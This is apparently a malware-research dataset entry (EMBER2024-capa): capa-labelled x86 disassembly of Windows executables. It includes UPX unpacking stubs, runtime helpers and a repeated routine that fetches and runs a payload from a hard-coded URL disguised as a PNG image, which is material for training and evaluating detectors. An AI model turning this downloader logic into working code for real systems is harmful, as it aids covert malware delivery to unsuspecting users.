joyce8/EMBER2024-capa huggingface dataset:
Function at 0x440626
Capabilities:
Terminate process

Disassembly:
sub esp, 0x10
mov eax, dword [str.KERNEL32.DLL]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
pop esp
rol byte [eax + eax - 0x77], cl
inc esp
and al, 0xc
mov eax, dword [str.SHLWAPI.dll]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
mov eax, dword [str.PathFindFileNameW]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov eax, dword [str.USER32.dll]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
mov eax, dword [str.MessageBoxA]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, eax
mov eax, dword [0x45f5c8]
push eax
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
push 0x104
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
call ebx
mov esi, eax
mov ecx, dword [0x45f5a4]
cmp dword [ecx], 0
je 0x4406a8
movzx edx, word [esi]
xor eax, eax
test edx, edx
je 0x440718
inc eax
movzx ebx, word [esi + eax*2]
test ebx, ebx
jne 0x44066e
movzx eax, al
cmp al, byte [ecx]
je 0x44068b
cmp al, byte [ecx + 1]
jne 0x4406fe
test edx, edx
je 0x440714
xor eax, eax
xor edx, edx
movzx ebx, word [esi + edx*2]
inc edx
add eax, ebx
movzx edi, word [esi + edx*2]
test edi, edi
jne 0x44068f
cmp eax, dword [ecx + 4]
je 0x4406a8
cmp eax, dword [ecx + 8]
jne 0x4406fe
mov eax, dword [str.WININET.DLL]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov eax, dword [str.InternetOpenA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov eax, dword [str.InternetOpenUrlA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 4], eax
mov eax, dword [str.InternetReadFile]
inc ebp
add byte [eax + 0x53], dl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
xor eax, eax
mov dword [esp], eax
push eax
push eax
push eax
push 1
mov edx, dword [str.gliff]
push edx
call edi
mov edi, eax
test edi, edi
jne 0x440723
xor eax, eax
jmp 0x44069e
cmp byte [ecx], 0
jne 0x44067e
jmp 0x440714
xor edx, edx
push edx
mov ecx, dword [str.https:__webhostinggeeks.com_blog_wp_content_uploads_2023_05_Hiawatha_128x90_optimized.png]
mov eax, dword [0x45f5cc]
push eax
push edx
push edx
push ecx
push edi
call dword [esp + 0x1c]
sbb al, 0x8b
enter 0xffffffffffffc985, 0x74
invalid
mov edx, dword [0x45f5c8]
lea eax, [esp]
push eax
push edx
lea edi, [esi + 0x20a]
push edi
push ecx
call ebx
test eax, eax
je 0x4406fe
mov eax, dword [esp]
test eax, eax
jbe 0x4406fe
lea eax, [esi + eax + 0x20a]
cmp eax, edi
je 0x4406fe
mov ecx, dword [esi + 0x20a]
xor edx, edx
mov ebx, dword [0x45f5e8]
mov esi, dword [ebx + edx]
add esi, ecx
mov dword [edx + eax], esi
add edx, 4
cmp edx, 0x20
jl 0x440773
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x4406fe
xor eax, eax
lea ecx, [esp + 8]
push eax
push eax
mov edx, dword [fcn.00438104]
push edx
push ecx
call ebx
Function at 0x4406d9
Capabilities:
Terminate process

Disassembly:
sub esp, 0x10
mov eax, dword [str.KERNEL32.DLL]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
pop esp
rol byte [eax + eax - 0x77], cl
inc esp
and al, 0xc
mov eax, dword [str.SHLWAPI.dll]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
mov eax, dword [str.PathFindFileNameW]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov eax, dword [str.USER32.dll]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
mov eax, dword [str.MessageBoxA]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, eax
mov eax, dword [0x45f5c8]
push eax
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
push 0x104
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
call ebx
mov esi, eax
mov ecx, dword [0x45f5a4]
cmp dword [ecx], 0
je 0x4406a8
movzx edx, word [esi]
xor eax, eax
test edx, edx
je 0x440718
inc eax
movzx ebx, word [esi + eax*2]
test ebx, ebx
jne 0x44066e
movzx eax, al
cmp al, byte [ecx]
je 0x44068b
cmp al, byte [ecx + 1]
jne 0x4406fe
test edx, edx
je 0x440714
xor eax, eax
xor edx, edx
movzx ebx, word [esi + edx*2]
inc edx
add eax, ebx
movzx edi, word [esi + edx*2]
test edi, edi
jne 0x44068f
cmp eax, dword [ecx + 4]
je 0x4406a8
cmp eax, dword [ecx + 8]
jne 0x4406fe
mov eax, dword [str.WININET.DLL]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov eax, dword [str.InternetOpenA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov eax, dword [str.InternetOpenUrlA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 4], eax
mov eax, dword [str.InternetReadFile]
inc ebp
add byte [eax + 0x53], dl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
xor eax, eax
mov dword [esp], eax
push eax
push eax
push eax
push 1
mov edx, dword [str.gliff]
push edx
call edi
mov edi, eax
test edi, edi
jne 0x440723
xor eax, eax
jmp 0x44069e
cmp byte [ecx], 0
jne 0x44067e
jmp 0x440714
xor edx, edx
push edx
mov ecx, dword [str.https:__webhostinggeeks.com_blog_wp_content_uploads_2023_05_Hiawatha_128x90_optimized.png]
mov eax, dword [0x45f5cc]
push eax
push edx
push edx
push ecx
push edi
call dword [esp + 0x1c]
sbb al, 0x8b
enter 0xffffffffffffc985, 0x74
invalid
mov edx, dword [0x45f5c8]
lea eax, [esp]
push eax
push edx
lea edi, [esi + 0x20a]
push edi
push ecx
call ebx
test eax, eax
je 0x4406fe
mov eax, dword [esp]
test eax, eax
jbe 0x4406fe
lea eax, [esi + eax + 0x20a]
cmp eax, edi
je 0x4406fe
mov ecx, dword [esi + 0x20a]
xor edx, edx
mov ebx, dword [0x45f5e8]
mov esi, dword [ebx + edx]
add esi, ecx
mov dword [edx + eax], esi
add edx, 4
cmp edx, 0x20
jl 0x440773
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x4406fe
xor eax, eax
lea ecx, [esp + 8]
push eax
push eax
mov edx, dword [fcn.00438104]
push edx
push ecx
call ebx
Function at 0x440739
Capabilities:
Terminate process

Disassembly:
sub esp, 0x10
mov eax, dword [str.KERNEL32.DLL]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
pop esp
rol byte [eax + eax - 0x77], cl
inc esp
and al, 0xc
mov eax, dword [str.SHLWAPI.dll]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
mov eax, dword [str.PathFindFileNameW]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
mov eax, dword [str.USER32.dll]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edx, eax
mov eax, dword [str.MessageBoxA]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebp, eax
mov dword [esp + 8], 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov edx, eax
mov eax, dword [0x45f5c8]
push eax
push 0
push edx
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
push 0x104
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push esi
call ebx
mov esi, eax
mov ecx, dword [0x45f5a4]
cmp dword [ecx], 0
je 0x4406a8
movzx edx, word [esi]
xor eax, eax
test edx, edx
je 0x440718
inc eax
movzx ebx, word [esi + eax*2]
test ebx, ebx
jne 0x44066e
movzx eax, al
cmp al, byte [ecx]
je 0x44068b
cmp al, byte [ecx + 1]
jne 0x4406fe
test edx, edx
je 0x440714
xor eax, eax
xor edx, edx
movzx ebx, word [esi + edx*2]
inc edx
add eax, ebx
movzx edi, word [esi + edx*2]
test edi, edi
jne 0x44068f
cmp eax, dword [ecx + 4]
je 0x4406a8
cmp eax, dword [ecx + 8]
jne 0x4406fe
mov eax, dword [str.WININET.DLL]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ebx, eax
mov eax, dword [str.InternetOpenA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov eax, dword [str.InternetOpenUrlA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 4], eax
mov eax, dword [str.InternetReadFile]
inc ebp
add byte [eax + 0x53], dl
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
xor eax, eax
mov dword [esp], eax
push eax
push eax
push eax
push 1
mov edx, dword [str.gliff]
push edx
call edi
mov edi, eax
test edi, edi
jne 0x440723
xor eax, eax
jmp 0x44069e
cmp byte [ecx], 0
jne 0x44067e
jmp 0x440714
xor edx, edx
push edx
mov ecx, dword [str.https:__webhostinggeeks.com_blog_wp_content_uploads_2023_05_Hiawatha_128x90_optimized.png]
mov eax, dword [0x45f5cc]
push eax
push edx
push edx
push ecx
push edi
call dword [esp + 0x1c]
sbb al, 0x8b
enter 0xffffffffffffc985, 0x74
invalid
mov edx, dword [0x45f5c8]
lea eax, [esp]
push eax
push edx
lea edi, [esi + 0x20a]
push edi
push ecx
call ebx
test eax, eax
je 0x4406fe
mov eax, dword [esp]
test eax, eax
jbe 0x4406fe
lea eax, [esi + eax + 0x20a]
cmp eax, edi
je 0x4406fe
mov ecx, dword [esi + 0x20a]
xor edx, edx
mov ebx, dword [0x45f5e8]
mov esi, dword [ebx + edx]
add esi, ecx
mov dword [edx + eax], esi
add edx, 4
cmp edx, 0x20
jl 0x440773
push eax
push dword [esp + 0x10]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, eax
test ebx, ebx
je 0x4406fe
xor eax, eax
lea ecx, [esp + 8]
push eax
push eax
mov edx, dword [fcn.00438104]
push edx
push ecx
call ebx
Function at 0x4407b0
Capabilities:
Terminate process

Disassembly:
push 0x10
xor edx, edx
push edx
mov eax, dword [0x45f5f0]
push eax
push edx
call ebp
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x4406fe

Function at 0x445162
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0043964b
xor ebx, ebx
cmp dword [0x461f6c], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x445238
push str.co_v.
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x445318
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x44f0b4
push edi
call esi
cmp eax, ebx
je 0x445318
push eax
call fcn.004395dd
mov dword [esp], 0x44f0a4
push edi
mov dword [0x461f6c], eax
call esi
push eax
call fcn.004395dd
mov dword [esp], 0x44f090
push edi
mov dword [0x461f70], eax
call esi
push eax
call fcn.004395dd
mov dword [0x461f74], eax
lea eax, [ebp - 0xc]
push eax
call fcn.0043c838
test eax, eax
pop ecx
pop ecx
je 0x445206
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00432467
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x445238
push 0x44f074
push edi
call esi
push eax
call fcn.004395dd
cmp eax, ebx
pop ecx
mov dword [0x461f7c], eax
je 0x445238
push 0x44f05c
push edi
call esi
push eax
call fcn.004395dd
pop ecx
mov dword [0x461f78], eax
mov eax, dword [0x461f78]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x4452bd
cmp dword [0x461f7c], ecx
je 0x4452bd
push eax
call fcn.00439654
push dword [0x461f7c]
mov esi, eax
call fcn.00439654
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x4452bd
cmp edi, ebx
je 0x4452bd
call esi
cmp eax, ebx
je 0x44528a
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x44528a
test byte [ebp - 0x18], 1
jne 0x4452bd
lea eax, [ebp - 0x10]
push eax
call fcn.0043c86f
test eax, eax
pop ecx
je 0x4452a5
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00432467
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x4452b4
or dword [ebp + 0x10], 0x200000
jmp 0x4452f8
or dword [ebp + 0x10], 0x40000
jmp 0x4452f8
mov eax, dword [0x461f70]
cmp eax, dword [ebp - 8]
je 0x4452f8
push eax
call fcn.00439654
cmp eax, ebx
pop ecx
je 0x4452f8
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x4452f8
mov eax, dword [0x461f74]
cmp eax, dword [ebp - 8]
je 0x4452f8
push eax
call fcn.00439654
cmp eax, ebx
pop ecx
je 0x4452f8
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x461f6c]
call fcn.00439654
cmp eax, ebx
pop ecx
je 0x445318
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x44531a
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x7767e0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x238000]
push edi
jmp 0x7767fa
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x776801
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x7767f0
mov eax, 1
add ebx, ebx
jne 0x776813
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x776824
jne 0x776843
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x776843
dec eax
add ebx, ebx
jne 0x776830
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x776808
add ebx, ebx
jne 0x77683f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x776895
xor ecx, ecx
sub eax, 3
jb 0x77685b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x7768ca
sar eax, 1
mov ebp, eax
jmp 0x776866
add ebx, ebx
jne 0x776866
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x776834
inc ecx
add ebx, ebx
jne 0x776874
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x776834
add ebx, ebx
jne 0x776881
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x776876
jne 0x776892
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x776876
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x7768b4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x7768a6
jmp 0x7767f6
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x7768b4
add edi, ecx
jmp 0x7767f6
pop esi
mov edi, esi
mov ecx, 0xbab3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x7768d2
cmp byte [edi], 0x17
jne 0x7768d2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x7768d7
lea edi, [esi + 0x372000]
mov eax, dword [edi]
or eax, eax
je 0x77694f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x37939c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x3794c8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x776904
mov ecx, edi
jns 0x776933
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x3794cc]
or eax, eax
je 0x776949
mov dword [ebx], eax
add ebx, 4
jmp 0x776921
call dword [esi + 0x3794dc]
mov ebp, dword [esi + 0x3794d0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x31f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x776983
sub esp, 0xffffff80
jmp 0x401e38
Function at 0xc2ce50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x69c000]
push edi
jmp 0xc2ce6a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0xc2ce71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc2ce60
mov eax, 1
add ebx, ebx
jne 0xc2ce83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0xc2ce94
jne 0xc2ceb3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc2ceb3
dec eax
add ebx, ebx
jne 0xc2cea0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0xc2ce78
add ebx, ebx
jne 0xc2ceaf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0xc2cf05
xor ecx, ecx
sub eax, 3
jb 0xc2cecb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0xc2cf3a
sar eax, 1
mov ebp, eax
jmp 0xc2ced6
add ebx, ebx
jne 0xc2ced6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc2cea4
inc ecx
add ebx, ebx
jne 0xc2cee4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0xc2cea4
add ebx, ebx
jne 0xc2cef1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0xc2cee6
jne 0xc2cf02
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0xc2cee6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0xc2cf24
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0xc2cf16
jmp 0xc2ce66
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0xc2cf24
add edi, ecx
jmp 0xc2ce66
pop esi
mov edi, esi
mov ecx, 0x2a44
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0xc2cf42
cmp byte [edi], 0x19
jne 0xc2cf42
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0xc2cf47
lea edi, [esi + 0x82a000]
mov eax, dword [edi]
or eax, eax
je 0xc2cfbf
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x8307ec]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x830828]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0xc2cf74
mov ecx, edi
jns 0xc2cfa3
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x830830]
or eax, eax
je 0xc2cfb9
mov dword [ebx], eax
add ebx, 4
jmp 0xc2cf91
call dword [esi + 0x83082c]
mov ebp, dword [esi + 0x830834]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1df]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0xc2cff3
sub esp, 0xffffff80
jmp 0x411aa8
Function at 0x40e33f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40e37e
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40e37e
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40e37e
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40e37e
cmp dword [ecx + 0x74], 0xe
jbe 0x40e37e
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x415e7f
Capabilities:
Print debug messages

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00415e01
Function at 0x418249
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x4182e6
push ebx
push esi
call fcn.00418212
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0041815b
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x418293
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4182e5
push edi
push eax
call fcn.00416f0c
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4182b3
call fcn.00417088
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x4182e4
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0041815b
add esp, 0x20
test eax, eax
jne 0x4182d2
push edi
call fcn.00417088
jmp 0x4182da
push ebx
call fcn.00417088
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x418605
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4268d8
push 0x4268d0
push str.FlsAlloc
push 0x1e
call fcn.004184a3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x418639
push dword [ebp + 8]
mov ecx, esi
call dword [0x424ac0]
call esi
jmp 0x41863f
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x418683
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4268e8
push 0x4268e0
push str.FlsGetValue
push 0x20
call fcn.004184a3
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4186ba
push dword [ebp + 8]
mov ecx, esi
call dword [0x424ac0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x421310
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42133d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42133d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x402142
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x48d14c]
jne 0x40214c
repz ret
jmp fcn.00402c71

Function at 0x41069c
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x48d14c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00405a1d
and dword [ebp - 0x14], 0
cmp dword [0x48ffc0], 0
mov dword [ebp - 0x18], eax
jne 0x41074f
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4107f7
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x4107f7
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x48ffc0], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x48ffc4], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x48ffc8], eax
call edi
push eax
call esi
mov dword [0x48ffd0], eax
test eax, eax
je 0x41074f
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x48ffcc], eax
mov eax, dword [0x48ffcc]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4107a8
cmp dword [0x48ffd0], ecx
je 0x4107a8
push eax
call esi
push dword [0x48ffd0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4107a8
test ebx, ebx
je 0x4107a8
call edi
test eax, eax
je 0x41079f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x41079f
test byte [ebp - 8], 1
jne 0x4107a8
or dword [ebp + 0x10], 0x200000
jmp 0x4107db
mov eax, dword [0x48ffc4]
cmp eax, dword [ebp - 0x18]
je 0x4107db
push eax
call esi
test eax, eax
je 0x4107db
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4107db
mov eax, dword [0x48ffc8]
cmp eax, dword [ebp - 0x18]
je 0x4107db
push eax
call esi
test eax, eax
je 0x4107db
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x48ffc0]
call esi
test eax, eax
je 0x4107f7
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4107f9
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402142
leave
ret
Function at 0x47e140
Capabilities:
Get disk information
Get system information on windows
Manipulate console buffer
Write file on windows

Disassembly:
sub esp, 0x430
mov eax, dword [0x48d14c]
xor eax, esp
mov dword [esp + 0x42c], eax
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
push edi
mov ebx, 0x1519a5
mov edi, 0x8e46a7b8
jmp 0x47e170
cmp dword [0x49323c], 0x3dc
mov dword [0x492ea4], edi
jne 0x47e186
push 0
call esi
dec ebx
jne 0x47e170
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
mov ebx, dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
mov ebp, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
xor esi, esi
lea ecx, [ecx]
cmp dword [0x49323c], 0x933
jne 0x47e1e7
xor eax, eax
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x34]
push edx
push eax
lea ecx, [esp + 0x48]
push ecx
push eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
call edi
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call ebx
cmp esi, 0x845fef
jne 0x47e201
mov edx, dword [0x48ed40]
add edx, 0xa231
mov dword [0x49323c], edx
cmp dword [0x49323c], 0x141
jne 0x47e23c
xor edx, edx
lea ecx, [esp + 0x34]
push ecx
push edx
xor eax, eax
push eax
lea ecx, [esp + 0x38]
push ecx
push edx
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], edx
call ebp
mov dword [0x4904e8], 0xec58acac
mov dword [0x4904ec], 0xffffffff
inc esi
cmp esi, 0x12d1832
jl 0x47e1a0
call fcn.0047dcd0
mov ecx, dword [esp + 0x43c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.00402142
add esp, 0x430
ret 0x10